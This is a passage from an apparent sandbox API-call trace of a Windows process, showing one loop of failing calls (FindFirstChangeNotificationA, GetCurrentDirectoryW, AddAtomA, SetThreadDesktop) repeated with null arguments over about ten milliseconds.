returned 0 [0110.295] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.295] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.295] GetLastError () returned 0x3 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.295] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.295] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.295] GetLastError () returned 0x3 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.295] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.295] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.295] GetLastError () returned 0x3 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.295] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.295] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.295] GetLastError () returned 0x3 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.295] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.295] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.295] GetLastError () returned 0x3 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.296] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.296] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.296] GetLastError () returned 0x3 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.296] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.296] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.296] GetLastError () returned 0x3 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.296] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.296] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.296] GetLastError () returned 0x3 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.296] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.296] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.296] GetLastError () returned 0x3 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.296] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.296] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.296] GetLastError () returned 0x3 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.296] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.296] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.296] GetLastError () returned 0x3 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] AddAtomA (lpString=0x0) returned 0x0 [0110.296] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.297] GetLastError () returned 0x3 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.297] GetLastError () returned 0x3 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.297] GetLastError () returned 0x3 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.297] GetLastError () returned 0x3 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.297] GetLastError () returned 0x3 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.297] GetLastError () returned 0x3 [0110.297] AddAtomA (lpString=0x0) returned 0x0 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.298] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.298] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.298] GetLastError () returned 0x3 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.298] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.298] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.298] GetLastError () returned 0x3 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.298] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.298] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.298] GetLastError () returned 0x3 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.298] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.298] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.298] GetLastError () returned 0x3 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.298] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.298] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.298] GetLastError () returned 0x3 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] AddAtomA (lpString=0x0) returned 0x0 [0110.298] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.298] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.298] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.298] GetLastError () returned 0x3 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.299] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.299] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.299] GetLastError () returned 0x3 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.299] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.299] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.299] GetLastError () returned 0x3 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.299] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.299] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.299] GetLastError () returned 0x3 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.299] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.299] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.299] GetLastError () returned 0x3 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.299] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.299] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.299] GetLastError () returned 0x3 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] AddAtomA (lpString=0x0) returned 0x0 [0110.299] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.299] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.300] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.300] GetLastError () returned 0x3 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.300] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.300] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.300] GetLastError () returned 0x3 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.300] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.300] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.300] GetLastError () returned 0x3 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.300] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.300] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.300] GetLastError () returned 0x3 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.300] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.300] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.300] GetLastError () returned 0x3 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.300] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.300] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.300] GetLastError () returned 0x3 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] AddAtomA (lpString=0x0) returned 0x0 [0110.300] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.301] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.301] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.301] GetLastError () returned 0x3 [0110.301] AddAtomA (lpString=0x0) returned 0x0 [0110.301] AddAtomA (lpString=0x0) returned 0x0 [0110.301] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.301] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.301] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.301] GetLastError () returned 0x3 [0110.301] AddAtomA (lpString=0x0) returned 0x0 [0110.301] AddAtomA (lpString=0x0) returned 0x0 [0110.301] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.301] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.301] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.301] GetLastError () returned 0x3 [0110.301] AddAtomA (lpString=0x0) returned 0x0 [0110.301] AddAtomA (lpString=0x0) returned 0x0 [0110.301] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.301] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.301] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.301] GetLastError () returned 0x3 [0110.301] AddAtomA (lpString=0x0) returned 0x0 [0110.301] AddAtomA (lpString=0x0) returned 0x0 [0110.301] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.301] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.301] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.301] GetLastError () returned 0x3 [0110.301] AddAtomA (lpString=0x0) returned 0x0 [0110.301] AddAtomA (lpString=0x0) returned 0x0 [0110.301] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.301] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.301] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.301] GetLastError () returned 0x3 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.302] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.302] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.302] GetLastError () returned 0x3 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.302] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.302] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.302] GetLastError () returned 0x3 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.302] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.302] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.302] GetLastError () returned 0x3 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.302] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.302] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.302] GetLastError () returned 0x3 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.302] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.302] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.302] GetLastError () returned 0x3 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] AddAtomA (lpString=0x0) returned 0x0 [0110.302] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.302] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.303] GetLastError () returned 0x3 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.303] GetLastError () returned 0x3 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.303] GetLastError () returned 0x3 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.303] GetLastError () returned 0x3 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.303] GetLastError () returned 0x3 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.303] GetLastError () returned 0x3 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] AddAtomA (lpString=0x0) returned 0x0 [0110.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.304] GetLastError () returned 0x3 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.304] GetLastError () returned 0x3 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.304] GetLastError () returned 0x3 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.304] GetLastError () returned 0x3 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.304] GetLastError () returned 0x3 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.304] GetLastError () returned 0x3 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.304] GetLastError () returned 0x3 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] AddAtomA (lpString=0x0) returned 0x0 [0110.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.304] GetLastError () returned 0x3 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.305] GetLastError () returned 0x3 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.305] GetLastError () returned 0x3 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.305] GetLastError () returned 0x3 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.305] GetLastError () returned 0x3 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.305] GetLastError () returned 0x3 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] AddAtomA (lpString=0x0) returned 0x0 [0110.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.305] GetCurrentDirectoryW 